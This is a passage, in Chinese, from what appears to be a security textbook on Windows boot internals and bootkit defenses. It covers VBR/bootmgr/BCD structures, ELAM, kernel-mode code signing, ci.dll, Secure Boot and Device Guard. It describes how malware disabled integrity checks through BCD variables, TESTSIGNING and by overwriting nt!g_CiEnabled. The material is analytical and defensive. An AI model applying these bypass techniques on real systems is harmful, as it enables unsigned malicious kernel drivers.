Bootmgr 分区包含 bootmgr 模块和一些其他的操作系统启动组件,而操作系统分区则包含一个主机操作系统和用户数据的卷。bootmgr 模块的主要作用是决定加载哪个特定的操作系统实例。如果计算机上安装了多个操作系统,bootmgr 会显示一个对话框提示用户选择其中一个。bootmgr 模块还提供了一些参数,用以决定操作系统如何加载(例如是否以安全模式启动、使用最后一次良好配置、禁用驱动程序签名强制等)。

image

图 5-3:典型的可启动硬盘布局

卷引导记录和初始程序加载器

硬盘可能包含多个分区,主机上有多个不同操作系统实例,但通常只有一个分区应该标记为活动分区。MBR 不包含解析活动分区上特定文件系统的代码,因此它读取并执行分区的第一个扇区,即 VBR,见 图 5-2。

VBR 包含分区布局信息,指定正在使用的文件系统类型及其参数,并包含从活动分区读取初始程序加载器(IPL)模块的代码。IPL 模块实现文件系统解析功能,以便能够从分区的文件系统中读取文件。

清单 5-3 显示了 VBR 的布局,由 BIOS_PARAMETER_BLOCK_NTFSBOOTSTRAP_CODE 结构组成。BIOS_PARAMETER_BLOCK(BPB)结构的布局特定于卷的文件系统。BIOS_PARAMETER_BLOCK_NTFSVOLUME_BOOT_RECORD 结构对应于 NTFS 卷。

typedef struct _BIOS_PARAMETER_BLOCK_NTFS {

   WORD SectorSize;

   BYTE SectorsPerCluster;

   WORD ReservedSectors;

   BYTE Reserved[5];

   BYTE MediaId;

   BYTE Reserved2[2];

   WORD SectorsPerTrack;

   WORD NumberOfHeads;

➊ DWORD HiddenSectors;

   BYTE Reserved3[8];

   QWORD NumberOfSectors;

   QWORD MFTStartingCluster;

   QWORD MFTMirrorStartingCluster;

   BYTE ClusterPerFileRecord;

   BYTE Reserved4[3];

   BYTE ClusterPerIndexBuffer;

   BYTE Reserved5[3];

   QWORD NTFSSerial;

   BYTE Reserved6[4];

} BIOS_PARAMETER_BLOCK_NTFS, *PBIOS_PARAMETER_BLOCK_NTFS;

typedef struct _BOOTSTRAP_CODE{

    BYTE    bootCode[420];                // boot sector machine code

    WORD    bootSectorSignature;          // 0x55AA

} BOOTSTRAP_CODE, *PBOOTSTRAP_CODE;

typedef struct _VOLUME_BOOT_RECORD{

  ➋ WORD    jmp;

    BYTE    nop;

    DWORD   OEM_Name

    DWORD   OEM_ID; // NTFS

    BIOS_PARAMETER_BLOCK_NTFS BPB;

    BOOTSTRAP_CODE BootStrap;

} VOLUME_BOOT_RECORD, *PVOLUME_BOOT_RECORD;

清单 5-3:VBR 布局

请注意,VBR 以一个jmp指令 ➋ 开始,该指令将系统控制转交给 VBR 代码。VBR 代码又读取并执行来自分区的 IPL,分区的位置由HiddenSectors字段 ➊ 指定。IPL 报告其从硬盘开始的偏移量(以扇区为单位)。VBR 的布局总结在图 5-4 中。

image

图 5-4:VBR 的结构

如你所见,VBR 基本上由以下组件组成:

  • 负责加载 IPL 的 VBR 代码

  • BIOS 参数块(一个存储卷参数的数据结构)

  • 如果发生错误,显示给用户的文本字符串

  • 0xAA55,VBR 的 2 字节签名

IPL 通常占用 15 个连续的 512 字节的扇区,并位于 VBR 之后。它实现了足够的代码来解析分区的文件系统并继续加载bootmgr模块。IPL 和 VBR 一起使用,因为 VBR 只能占用一个扇区,并且由于空间有限,无法实现足够的功能来解析卷的文件系统。

bootmgr 模块与引导配置数据

IPL 从文件系统中读取并加载操作系统引导管理器的bootmgr模块,如图 5-2 的第四层所示。一旦 IPL 运行,bootmgr便接管了引导过程。

bootmgr模块从引导配置数据(BCD)中读取,这些数据包含多个重要的系统参数,包括那些影响安全策略的参数,如内核模式代码签名策略,详细内容请见第六章。引导木马通常试图绕过bootmgr的代码完整性验证实现。

bootmgr 模块的起源

bootmgr模块是在 Windows Vista 中引入的,旨在替代以前 NT 衍生版本中找到的ntldr引导加载程序。微软的想法是,在引导链中创建一个额外的抽象层,以便将预引导环境与操作系统内核层隔离开来。将引导模块与操作系统内核隔离,改善了 Windows 的引导管理和安全性,使得在内核模式模块上强制执行安全策略(如内核模式代码签名策略)变得更加容易。遗留的ntldr被分为两个模块:bootmgrwinload.exe(如果操作系统从休眠加载,则是winresume.exe)。每个模块实现了不同的功能。

bootmgr模块管理引导过程,直到用户选择引导选项(如图 5-5 所示的 Windows 10)。一旦用户做出选择,程序winload.exe(或winresume.exe)会加载内核、引导启动驱动程序以及一些系统注册表数据。

image

图 5-5:Windows 10 中的bootmgr引导菜单

实模式与保护模式

当计算机第一次开机时,CPU 以实模式运行,这是一种使用 16 位内存模型的传统执行模式,其中 RAM 中的每个字节由一个包含两个字(2 字节)的指针表示:段起始:段偏移。该模式对应于段内存模型,其中地址空间被划分为多个段。每个目标字节的地址通过段的地址和该字节在段内的偏移量来描述。在这里,段起始指定目标段,段偏移是目标段内参考字节的偏移量。

实模式寻址方案只允许使用系统 RAM 中的一小部分。具体来说,内存中的实际(物理)地址计算为最大的地址,表示为 ffff:ffff,这仅为 1,114,095 字节(65,535 × 16 + 65,535),意味着实模式下的地址空间仅限于大约 1MB——显然不足以支持现代操作系统和应用程序。为了绕过这一限制并访问所有可用内存,bootmgrwinload.exebootmgr接管控制后将处理器切换到保护模式(在 64 位系统上称为长模式)。

bootmgr模块由 16 位实模式代码和一个压缩的 PE 镜像组成,解压后在保护模式下执行。16 位代码从bootmgr镜像中提取并解压 PE,切换处理器到保护模式,然后将控制权交给解压后的模块。

注意

引导工具包必须正确处理处理器执行模式的切换,以便维持对启动代码执行的控制。切换后,整个内存布局会发生变化,之前位于连续内存地址集合中的部分代码可能会被移动到不同的内存段。引导工具包必须实现相当复杂的功能来绕过这一点,并保持对启动过程的控制。

BCD 启动变量

一旦bootmgr初始化了保护模式,未压缩的镜像便接管控制并从 BCD 中加载启动配置数据。当 BCD 存储在硬盘上时,它的布局与注册表蜂巢相同。(要浏览其内容,可以使用regedit并导航到键 HKEY_LOCAL_MACHINE\BCD000000。)

注意

为了从硬盘读取数据,bootmgr在保护模式下使用 INT 13h 磁盘服务,而该服务原本是为实模式设计的。为了做到这一点,bootmgr将处理器的执行上下文保存到临时变量中,暂时切换到实模式,执行 INT 13h 处理程序,然后返回保护模式,恢复保存的上下文。

BCD 存储包含bootmgr加载操作系统所需的所有信息,包括指向包含要加载操作系统实例的分区的路径、可用的启动应用程序、代码完整性选项以及指示操作系统加载预安装模式、安全模式等的参数。

表 5-1 显示了在 BCD 中最受 bootkit 作者关注的参数。

表 5-1: BCD 启动变量

变量名称 描述 参数类型 参数 ID
BcdLibraryBoolean_DisableIntegrityCheck 禁用内核模式代码完整性检查 Boolean 0x16000048
BcdOSLoaderBoolean_WinPEMode 告诉内核以预安装模式加载,并作为副作用禁用内核模式代码完整性检查 Boolean 0x26000022
BcdLibraryBoolean_AllowPrereleaseSignatures 启用测试签名(TESTSIGNING) Boolean 0x1600004

变量BcdLibraryBoolean_DisableIntegrityCheck用于禁用完整性检查并允许加载未签名的内核模式驱动程序。此选项在 Windows 7 及更高版本中被忽略,如果启用了安全启动(参见第十七章),则无法设置此选项。

变量BcdOSLoaderBoolean_WinPEMode表示系统应以 Windows 预安装环境模式启动,这本质上是一个最小化的 Win32 操作系统,提供有限的服务,主要用于为 Windows 安装准备计算机。此模式还会禁用内核完整性检查,包括在 64 位系统上强制执行的内核模式代码签名策略。

变量BcdLibraryBoolean_AllowPrereleaseSignatures使用测试代码签名证书加载内核模式驱动程序用于测试目的。这些证书可以通过包含在 Windows 驱动程序工具包中的工具生成。(Necurs根套件利用此过程将恶意的内核模式驱动程序安装到系统中,该驱动程序由自定义证书签名。)

在检索到启动选项后,bootmgr执行自完整性验证。如果验证失败,bootmgr会停止启动系统并显示错误信息。然而,如果BcdLibraryBoolean_DisableIntegrityCheckBcdOSLoaderBoolean_WinPEMode在 BCD 中被设置为TRUEbootmgr则不会执行自完整性检查。因此,如果任一变量为TRUEbootmgr将不会注意到其是否已被恶意代码篡改。

一旦所有必要的 BCD 参数已加载且自完整性验证通过,bootmgr会选择要加载的启动应用程序。当从硬盘重新加载操作系统时,bootmgr选择winload.exe;当从休眠状态恢复时,bootmgr选择winresume.exe。这些各自的 PE 模块负责加载和初始化操作系统内核模块。bootmgr以相同的方式检查启动应用程序的完整性,如果BcdLibraryBoolean_DisableIntegrityCheckBcdOSLoaderBoolean_WinPEModeTRUE,则再次跳过验证。

在引导过程的最后一步,一旦用户选择了要加载的操作系统实例,bootmgr 会加载 winload.exe。一旦所有模块都正确初始化,winload.exe(图 5-2 中的第 5 层)将控制权传递给操作系统内核,后者继续引导过程(第 6 层)。与bootmgr一样,winload.exe 会检查它所负责的所有模块的完整性。许多引导程序会试图绕过这些检查,以便将恶意模块注入操作系统内核模式地址空间。

winload.exe 接管操作系统引导时,它会启用受保护模式中的分页,然后加载操作系统内核镜像及其依赖项,包括以下模块:

bootvid.dll 引导时的视频 VGA 支持库

ci.dll 代码完整性库

clfs.dll 通用日志文件系统驱动程序

hal.dll 硬件抽象层库

kdcom.dll 内核调试器协议通信库

pshed.dll 特定平台硬件错误驱动程序

除了这些模块,winload.exe 还加载引导启动驱动程序,包括存储设备驱动程序、早期启动反恶意软件(ELAM)模块(在第六章中解释)和系统注册表配置单元。

注意

为了从硬盘读取所有组件, winload.exe 使用由 bootmgr 提供的接口。* 该接口依赖于 BIOS INT 13h 磁盘服务。因此,如果 INT 13h 处理程序被引导程序钩住,恶意软件可以伪造所有* winload.exe*读取的数据。

在加载可执行文件时,winload.exe 会根据系统的代码完整性策略验证其完整性。一旦所有模块加载完成,winload.exe 会将控制权交给操作系统内核镜像以初始化它们,如接下来的章节中所讨论的那样。

结论

在这一章中,你了解了早期引导阶段中的 MBR 和 VBR,以及从引导程序威胁角度来看,bootmgrwinload.exe 等重要引导组件。

正如你所看到的,控制权在引导过程各个阶段之间的转移,并不像直接跳到下一个阶段那么简单。相反,通过各种数据结构(如 MBR 分区表、VBR BIOS 参数块和 BCD)关联的多个组件决定了预引导环境中的执行流程。这个复杂的关系是引导程序如此复杂的原因之一,也是它们通过修改引导组件,旨在将控制权从原始引导代码转移到自己的代码(并且有时来回切换,以执行必要任务)的原因。

在下一章中,我们将研究引导过程的安全性,重点讨论 ELAM 和微软内核模式代码签名策略,这些策略成功地击败了早期 rootkit 的方法。

第六章:引导过程安全**

Image

本章将介绍 Microsoft Windows 内核中实现的两个重要安全机制:Windows 8 中引入的早期启动反恶意软件(ELAM)模块,以及 Windows Vista 中引入的内核模式代码签名策略。这两种机制旨在防止未经授权的代码在内核地址空间中执行,从而使得 rootkit 更难以危害系统。我们将探讨这些机制的实现方式,讨论它们的优点和弱点,并检视它们在防御 rootkit 和 bootkit 方面的有效性。

早期启动反恶意软件模块

早期启动反恶意软件(ELAM)模块是一个用于 Windows 系统的检测机制,允许第三方安全软件(如防病毒软件)注册一个内核模式驱动程序,该驱动程序在引导过程中非常早期执行,且在任何其他第三方驱动程序加载之前执行。因此,当攻击者试图将恶意组件加载到 Windows 内核地址空间时,安全软件可以检查并防止该恶意驱动程序加载,因为 ELAM 驱动程序已经处于活动状态。

API 回调例程

ELAM 驱动程序注册回调例程,内核使用这些回调例程评估系统注册表集群和引导启动驱动程序中的数据。这些回调可以检测恶意数据和模块,并防止它们被 Windows 加载和初始化。

Windows 内核通过实现以下 API 例程来注册和注销这些回调:

CmRegisterCallbackEx CmUnRegisterCallback 用于注册和注销回调以监控注册表数据

IoRegisterBootDriverCallback IoUnRegisterBootDriverCallback 用于注册和注销引导启动驱动程序的回调

这些回调例程使用原型EX_CALLBACK_FUNCTION,如清单 6-1 所示。

NTSTATUS EX_CALLBACK_FUNCTION(

➊ IN PVOID CallbackContext,

➋ IN PVOID Argument1,         // callback type

➌ IN PVOID Argument2          // system-provided context structure

);

清单 6-1:ELAM 回调的原型

参数CallbackContext ➊ 在驱动程序执行上述回调例程之一以注册回调后,接收来自 ELAM 驱动程序的上下文。上下文是指向内存缓冲区的指针,该缓冲区包含特定于 ELAM 驱动程序的参数,这些参数可以被任何回调例程访问。此上下文是一个指针,且也用于存储 ELAM 驱动程序的当前状态。➋处的参数提供了回调类型,对于引导启动驱动程序,回调类型可以是以下之一:

BdCbStatusUpdate 向 ELAM 驱动程序提供有关驱动程序依赖关系或引导启动驱动程序加载的状态更新

BdCbInitializeImage ELAM 驱动程序用于分类引导启动驱动程序及其依赖关系

引导启动驱动程序分类

➌处的参数提供了操作系统用来将启动驱动程序分类为已知良好(已知合法且干净的驱动程序)、未知(ELAM 无法分类的驱动程序)和已知不良(已知恶意的驱动程序)的信息。

不幸的是,ELAM 驱动程序必须基于有限的关于驱动程序映像的数据来做出分类决策,即:

  • 映像的名称

  • 映像注册为启动驱动程序的注册表位置

  • 映像证书的发布者和签发者

  • 映像的哈希值和哈希算法的名称

  • 证书指纹和指纹算法的名称

ELAM 驱动程序无法接收映像的基地址,也无法访问硬盘上的二进制映像,因为存储设备驱动程序堆栈尚未初始化(因为系统尚未完成启动)。它必须仅根据映像的哈希值及其证书来决定加载哪些驱动程序,而无法观察到映像本身。因此,在此阶段,驱动程序的保护并不非常有效。

ELAM 策略

Windows 根据注册表中指定的 ELAM 策略决定是否加载已知不良或未知驱动程序:HKLM\System\CurrentControlSet\Control\EarlyLaunch\DriverLoadPolicy

表 6-1 列出了决定可以加载哪些驱动程序的 ELAM 策略值。

表 6-1: ELAM 策略值

策略名称 策略值 描述
PNP_INITIALIZE_DRIVERS_DEFAULT 0x00 仅加载已知良好的驱动程序。
PNP_INITIALIZE_UNKNOWN_DRIVERS 0x01 仅加载已知良好和未知的驱动程序。
PNP_INITIALIZE_BAD_CRITICAL_DRIVERS 0x03 加载已知良好、未知和已知不良的关键驱动程序。(这是默认设置。)
PNP_INITIALIZE_BAD_DRIVERS 0x07 加载所有驱动程序。

如您所见,默认的 ELAM 策略PNP_INITIALIZE_BAD_CRITICAL_DRIVERS允许加载不良的关键驱动程序。这意味着,如果一个关键驱动程序被 ELAM 分类为已知不良,系统仍然会加载它。此策略的背后逻辑是,关键系统驱动程序是操作系统的基本组成部分,因此它们初始化失败将导致操作系统无法启动;也就是说,系统只有在所有关键驱动程序成功加载和初始化后才能启动。因此,ELAM 策略在可用性和服务性方面妥协了一些安全性。

然而,使用此策略不会加载已知的不良非关键驱动程序,或那些即使没有也能让操作系统成功加载的驱动程序。这是PNP_INITIALIZE_BAD_CRITICAL_DRIVERSPNP_INITIALIZE_BAD_DRIVERS策略之间的主要区别:后者允许加载所有驱动程序,包括已知的不良非关键驱动程序。

Bootkit 如何绕过 ELAM

ELAM 为安全软件提供了对抗 rootkit 威胁的优势,但对抗 bootkit 的能力较弱——它本来就不是为了应对 bootkit 设计的。ELAM 只能监控合法加载的驱动程序,但大多数引导包加载的是使用操作系统未公开功能的内核模式驱动程序。这意味着引导包可以绕过安全强制措施,将其代码注入内核地址空间,尽管有 ELAM。此外,如图 6-1 所示,引导包的恶意代码在操作系统内核初始化之前、任何内核模式驱动程序加载之前(包括 ELAM)就已经运行。这意味着引导包可以绕过 ELAM 保护。

image

图 6-1:带有 ELAM 的引导过程流程

大多数引导包在内核初始化的过程中加载它们的内核模式代码,通常是在所有操作系统子系统(如 I/O 子系统、对象管理器、即插即用管理器等)初始化完成后,但在执行 ELAM 之前。显然,ELAM 无法阻止在它之前加载的恶意代码的执行,因此它对引导包技术没有防御能力。

微软内核模式代码签名政策

内核模式代码签名政策通过对加载到内核地址空间的模块强制执行代码签名要求,保护了 Windows 操作系统。该政策使得引导包和 rootkit 通过执行内核模式驱动程序来危害系统变得更加困难,从而迫使 rootkit 开发者转而采用引导包技术。然而,正如本章后续部分所解释的,攻击者可以通过操控一些与启动配置选项对应的变量,禁用整个加载时签名验证逻辑。

内核模式驱动程序完整性检查要求

签名策略首次在 Windows Vista 中引入,并且在所有后续版本的 Windows 中得到了强制执行,尽管在 32 位和 64 位操作系统上其执行方式不同。它在加载内核模式驱动程序时生效,以便在将驱动程序映像映射到内核地址空间之前验证其完整性。表 6-2 展示了 64 位和 32 位系统上哪些内核模式驱动程序需要进行哪些完整性检查。

表 6-2: 内核模式代码签名政策要求

驱动程序类型 是否需要进行完整性检查?
64 位 32 位
--- ---
启动驱动程序
非启动即插即用驱动程序
非启动驱动程序

如表所示,在 64 位系统上,所有内核模式模块,无论类型如何,都需要进行完整性检查。在 32 位系统上,签名策略仅适用于启动驱动程序和媒体驱动程序;其他驱动程序不进行检查(PnP 设备安装强制执行安装时签名要求)。

为了符合代码完整性要求,驱动程序必须具有嵌入式的软件发布者证书(SPC)数字签名或带有 SPC 签名的目录文件。然而,引导启动驱动程序只能拥有嵌入式签名,因为在启动时存储设备驱动程序堆栈尚未初始化,导致驱动程序的目录文件无法访问。

驱动程序签名的位置

嵌入在 PE 文件中的驱动程序签名,例如引导启动驱动程序,指定在 PE 头数据目录中的IMAGE_DIRECTORY_DATA_SECURITY条目中。微软提供了 API 来枚举并获取映像中包含的所有证书信息,如清单 6-2 所示。

BOOL ImageEnumerateCertificates(

   _In_     HANDLE FileHandle,

   _In_     WORD TypeFilter,

   _Out_    PDWORD CertificateCount,

   _In_out_ PDWORD Indices,

   _In_opt_ DWORD IndexCount

);

BOOL ImageGetCertificateData(

   _In_    HANDLE FileHandle,

   _In_    DWORD CertificateIndex,

   _Out_   LPWIN_CERTIFICATE Certificate,

   _Inout_ PDWORD RequiredLength

);

清单 6-2:微软用于枚举和验证证书的 API

内核模式代码签名策略提高了系统的安全性韧性,但它确实有其局限性。在接下来的章节中,我们将讨论这些局限性以及恶意软件作者如何利用这些局限性绕过保护。

即插即用设备安装签名策略

除了内核模式代码签名策略,微软 Windows 还有另一种签名策略:即插即用设备安装签名策略。重要的是不要混淆这两者。

即插即用设备安装签名策略的要求仅适用于即插即用(PnP)设备驱动程序,并且此策略用于验证发布者的身份和 PnP 设备驱动程序安装包的完整性。验证要求驱动程序包的目录文件必须由 Windows 硬件质量实验室(WHQL)证书或第三方 SPC 签名。如果驱动程序包不符合 PnP 策略的要求,系统将显示警告对话框,提示用户决定是否允许在系统上安装该驱动程序包。

系统管理员可以禁用 PnP 策略,允许没有适当签名的 PnP 驱动程序包安装到系统中。此外,请注意,该策略仅在安装驱动程序包时应用,而不是在驱动程序加载时应用。虽然这看起来像是一个 TOCTOU(检查时间到使用时间)弱点,但实际上不是;它只是意味着,成功安装到系统中的 PnP 驱动程序包不一定会被加载,因为这些驱动程序在启动时也会受到内核模式代码签名策略的检查。

传统代码完整性弱点

负责执行代码完整性的内核模式代码签名策略的逻辑由 Windows 内核映像和内核模式库ci.dll共享。内核映像使用此库来验证所有加载到内核地址空间中的模块的完整性。签名过程的主要弱点在于代码中的单点故障。

在 Microsoft Windows Vista 和 7 中,内核镜像中的一个单一变量是此机制的核心,决定是否执行完整性检查。它如下所示:

BOOL nt!g_CiEnabled

该变量在引导时通过内核镜像例程NTSTATUS SepInitializeCodeIntegrity()进行初始化。操作系统会检查是否已进入 Windows 预安装(WinPE)模式,如果是,变量nt!g_CiEnabled将被初始化为FALSE(0x00)值,这会禁用完整性检查。

所以,当然,攻击者发现他们可以通过简单地将nt!g_CiEnabled设置为FALSE来轻松绕过完整性检查,这正是 2011 年 Uroburos 恶意软件家族(也称为 Snake 和 Turla)发生的情况。Uroburos 通过引入并利用第三方驱动程序中的漏洞绕过了代码签名策略。合法的第三方签名驱动程序是VBoxDrv.sys(VirtualBox 驱动程序),该漏洞在内核模式中获得代码执行后清除了nt!g_CiEnabled变量的值,此时任何恶意的未签名驱动程序都可以加载到被攻击的机器上。

一个 LINUX 漏洞

这种弱点不仅仅是 Windows 特有的:攻击者也以类似的方式禁用了 SELinux 中的强制访问控制。具体来说,如果攻击者知道包含 SELinux 强制执行状态的变量的地址,攻击者只需覆盖该变量的值即可。由于 SELinux 的强制执行逻辑在执行任何检查之前会先测试该变量的值,因此此逻辑会被禁用。关于此漏洞及其利用代码的详细分析可以在grsecurity.net/~spender/exploits/exploit2.txt找到。

如果 Windows 不是处于 WinPE 模式,它接下来会检查引导选项DISABLE_INTEGRITY_CHECKSTESTSIGNING的值。如其名称所示,DISABLE_INTEGRITY_CHECKS会禁用完整性检查。任何版本的 Windows 用户都可以通过引导菜单选项“禁用驱动程序签名强制执行”手动设置此选项。Windows Vista 用户还可以使用bcdedit.exe工具将nointegritychecks选项的值设置为TRUE;在启用安全启动时,较高版本的 Windows 会忽略启动配置数据(BCD)中的此选项(有关安全启动的更多信息,请参见第十七章)。

TESTSIGNING选项更改操作系统验证内核模式模块完整性的方式。当设置为TRUE时,不需要验证证书链到受信任的根证书颁发机构(CA)。换句话说,任何具有任何数字签名的驱动程序都可以加载到内核地址空间。Necurs 根套件通过将TESTSIGNING设置为TRUE并加载其内核模式驱动程序(该驱动程序使用自定义证书签名)来滥用此选项。

多年来,浏览器存在未能遵循 X.509 证书链中的中间链接以到达合法受信 CA 的 bug^(1),但是操作系统的模块签名方案在涉及信任链时仍然没有避免捷径。

ci.dll 模块

负责执行代码完整性策略的内核模式库ci.dll包含以下例程:

CiCheckSignedFile 验证摘要并验证数字签名

CiFindPageHashesInCatalog 验证经过验证的系统目录是否包含 PE 映像第一内存页面的摘要

CiFindPageHashesInSignedFile 验证 PE 映像第一内存页面的摘要并验证其数字签名

CiFreePolicyInfo 释放由CiVerifyHashInCatalogCiCheckSignedFileCiFindPageHashesInCatalogCiFindPageHashesInSignedFile函数分配的内存

CiGetPEInformation 创建一个加密的通信通道,连接调用者和ci.dll模块

CiInitialize 初始化ci.dll的功能,用于验证 PE 映像文件的完整性

CiVerifyHashInCatalog 验证包含在经过验证的系统目录中的 PE 映像的摘要

CiInitialize例程对我们的目的来说最为重要,因为它初始化库并创建其数据上下文。我们可以在清单 6-3 中看到与 Windows 7 对应的原型。

NTSTATUS CiInitialize(

➊ IN ULONG CiOptions;

   PVOID Parameters;

➋ OUT PVOID g_CiCallbacks;

);

清单 6-3:CiInitialize例程的原型

CiInitialize例程接收作为参数的代码完整性选项(CiOptions)➊以及指向回调数组的指针(OUT PVOID g_CiCallbacks)➋,它将在输出时填充该数组。内核使用这些回调来验证内核模式模块的完整性。

CiInitialize例程还会执行自检,以确保没有人篡改它。然后,例程继续验证启动驱动程序列表中所有驱动程序的完整性,该列表本质上包含启动时加载的驱动程序及其依赖项。

一旦ci.dll库的初始化完成,内核会使用g_CiCallbacks缓冲区中的回调来验证模块的完整性。在 Windows Vista 和 7 中(但不包括 Windows 8),SeValidateImageHeader例程决定某个特定映像是否通过完整性检查。清单 6-4 展示了该例程的算法。

NTSTATUS SeValidateImageHeader(Parameters) {

   NTSTATUS Status = STATUS_SUCCESS;

   VOID Buffer = NULL;

➊ if (g_CiEnabled == TRUE) {

         if (g_CiCallbacks[0] != NULL)

         ➋ Status = g_CiCallbacks0;

         else

            Status = 0xC0000428

   }

   else {

      ➌ Buffer = ExAllocatePoolWithTag(PagedPool, 1, 'hPeS');

         *Parameters = Buffer

         if (Buffer == NULL)

            Status = STATUS_NO_MEMORY;

   }

   return Status;

}

清单 6-4:SeValidateImageHeader例程的伪代码

SeValidateImageHeader检查nt!g_CiEnabled变量是否设置为TRUE➊。如果不是,它会尝试分配一个字节长度的缓冲区➌,并且如果成功,则返回STATUS_SUCCESS值。

如果nt!g_CiEnabledTRUE,则SeValidateImageHeader执行g_CiCallbacks缓冲区中的第一个回调g_CiCallbacks[0]➋,该回调设置为CiValidateImageData例程。后续回调CiValidateImageData验证加载的映像的完整性。

Windows 8 中的防御性变化

在 Windows 8 中,微软进行了一些更改,旨在限制在这种场景下可能发生的攻击类型。首先,微软废弃了内核变量nt!g_CiEnabled,这意味着不再像早期版本的 Windows 那样在内核镜像中有一个控制完整性策略的单一控制点。Windows 8 还改变了g_CiCallbacks缓冲区的布局。

清单 6-5(Windows 7 和 Vista)和清单 6-6(Windows 8)展示了g_CiCallbacks在不同操作系统版本中的布局差异。

typedef struct _CI_CALLBACKS_WIN7_VISTA {

 PVOID CiValidateImageHeader;

 PVOID CiValidateImageData;

 PVOID CiQueryInformation;

} CI_CALLBACKS_WIN7_VISTA, *PCI_CALLBACKS_WIN7_VISTA;

清单 6-5:Windows Vista 和 Windows 7 中g_CiCallbacks缓冲区的布局

如清单 6-5 所示,Windows Vista 和 Windows 7 的布局仅包含基本的必要内容。相比之下,Windows 8 的布局(清单 6-6)则有更多的字段,用于额外的回调函数,用于 PE 映像数字签名验证。

typedef struct _CI_CALLBACKS_WIN8 {

    ULONG ulSize;

    PVOID CiSetFileCache;

    PVOID CiGetFileCache;

 ➊ PVOID CiQueryInformation;

 ➋ PVOID CiValidateImageHeader;

 ➌ PVOID CiValidateImageData;

    PVOID CiHashMemory;

    PVOID KappxIsPackageFile;

} CI_CALLBACKS_WIN8, *PCI_CALLBACKS_WIN8;

清单 6-6:Windows 8 中g_CiCallbacks缓冲区的布局.x

除了在CI_CALLBACKS_WIN7_VISTACI_CALLBACKS_WIN8结构中都存在的函数指针CiQueryInformation ➊、CiValidateImageHeader ➋和CiValidateImageData ➌之外,CI_CALLBACKS_WIN8结构还具有一些字段,这些字段影响 Windows 8 中代码完整性执行的方式。

关于 CI.DLL 的进一步阅读

更多关于ci.dll模块实现细节的信息可以在* github.com/airbus-seclab/warbirdvm找到。本文深入探讨了ci.dll*模块中用于加密内存存储的实现细节,该存储可能被其他操作系统组件用于保持某些细节和配置信息的保密。该存储受到了高度混淆的虚拟机(VM)保护,这使得逆向工程存储加密/解密算法变得更加困难。文章的作者提供了有关 VM 混淆方法的详细分析,并分享了他们的 Windbg 插件,用于实时解密和加密存储。

安全启动技术

安全启动技术是在 Windows 8 中引入的,用于防止引导过程受到 bootkit 感染。安全启动利用统一可扩展固件接口(UEFI)来阻止任何没有有效数字签名的引导应用程序或驱动程序的加载和执行,以保护操作系统内核、系统文件和启动关键驱动程序的完整性。图 6-2 展示了启用安全启动的启动过程。

image

图 6-2:启用安全启动的启动过程

当启用安全启动时,BIOS 会验证启动时执行的所有 UEFI 和操作系统启动文件的完整性,以确保它们来自合法来源并具有有效的数字签名。所有与启动相关的驱动程序的签名都将在winload.exe和 ELAM 驱动程序中进行检查,作为安全启动验证的一部分。安全启动类似于微软的内核模式代码签名策略,但它适用于在操作系统内核加载并初始化之前执行的模块。因此,未经信任的组件(即没有有效签名的组件)将无法加载,并会触发修复。

当系统首次启动时,安全启动确保预启动环境和引导加载程序组件没有被篡改。引导加载程序则验证内核和启动驱动程序的完整性。一旦内核通过完整性验证,安全启动就会验证其他驱动程序和模块。从根本上说,安全启动依赖于一个信任根的假设——即在执行初期,系统是可信的。当然,如果攻击者设法在此之前发起攻击,他们很可能会成功。

在过去的几年里,安全研究社区已经将大量关注集中在了可以让攻击者绕过安全启动(Secure Boot)的 BIOS 漏洞上。我们将在第十六章中详细讨论这些漏洞,并在第十七章中更深入地探讨安全启动。

Windows 10 中的虚拟化基础安全

直到 Windows 10,代码完整性机制仍是系统内核的一部分。这实际上意味着完整性机制以它试图保护的相同特权级别运行。虽然在许多情况下这可以有效,但也意味着攻击者有可能攻击完整性机制本身。为了增强代码完整性机制的有效性,Windows 10 引入了两个新功能:虚拟安全模式和设备保护(Device Guard),这两者都基于硬件辅助的内存隔离。这项技术通常被称为二级地址转换,并且被包括在英特尔(称为扩展页表,或 EPT)和 AMD(称为快速虚拟化索引,或 RVI)CPU 中。

二级地址转换

Windows 自 Windows 8 以来就支持二级地址转换(SLAT)与 Hyper-V(微软的虚拟机管理程序)。Hyper-V 使用 SLAT 来执行虚拟机的内存管理(例如,访问保护),并减少将来宾物理地址(虚拟化技术隔离的内存)转换为实际物理地址的开销。

SLAT 为虚拟机监控器提供了一个虚拟到物理地址转换的中介缓存,这大大减少了虚拟机监控器处理翻译请求所需的时间,特别是对于主机的物理内存。它还被用于 Windows 10 中虚拟安全模式技术的实现。

虚拟安全模式与设备防护

虚拟安全模式(VSM)基于虚拟化的安全性首次出现在 Windows 10,并基于微软的 Hyper-V。当 VSM 启用时,操作系统和关键系统模块会在隔离的虚拟机监控器保护的容器中执行。这意味着即使内核被攻破,其他虚拟环境中执行的关键组件仍然是安全的,因为攻击者无法从一个被攻破的虚拟容器跳转到另一个虚拟容器。VSM 还将代码完整性组件与 Windows 内核本身隔离在虚拟机监控器保护的容器中。

VSM 隔离使得无法使用易受攻击的合法内核模式驱动程序来禁用代码完整性(除非发现影响保护机制本身的漏洞)。由于潜在的易受攻击驱动程序和代码完整性库位于不同的虚拟容器中,攻击者不应能够关闭代码完整性保护。

设备防护技术利用虚拟安全模式(VSM)来防止不可信的代码在系统上运行。为了实现这一保障,设备防护将 VSM 保护的代码完整性与平台和 UEFI 安全启动相结合。通过这样做,设备防护从启动过程的最初阶段一直到加载操作系统内核模式驱动程序和用户模式应用程序时,都在强制执行代码完整性策略。

图 6-3 展示了设备防护如何影响 Windows 10 防止引导劫持和根套件的能力。安全启动通过验证在预启动环境中执行的任何固件组件(包括操作系统引导加载程序)来保护免受引导劫持。为了防止恶意代码被注入到内核模式地址空间,VSM 将负责强制执行代码完整性的关键操作系统组件(在此背景下称为虚拟机监控器强制代码完整性,或 HVCI)从操作系统内核地址空间中隔离开。

image

图 6-3:启用虚拟安全模式和设备防护的启动过程

设备防护对驱动程序开发的限制

设备防护对驱动程序开发过程施加了特定的要求和限制,某些现有驱动程序在启用设备防护时将无法正确运行。所有驱动程序必须遵循以下规则:

  • 从不可执行(NX)不可分页池中分配所有非分页内存。驱动程序的 PE 模块不能有既可写又可执行的部分。

  • 不要尝试直接修改可执行系统内存。

  • 不要在内核模式下使用动态或自修改代码。

  • 不要加载任何数据作为可执行文件。

由于大多数现代根套件和启动病毒不符合这些要求,即使驱动程序具有有效的签名或能够绕过代码完整性保护,它们也无法在启用设备保护的情况下运行。

结论

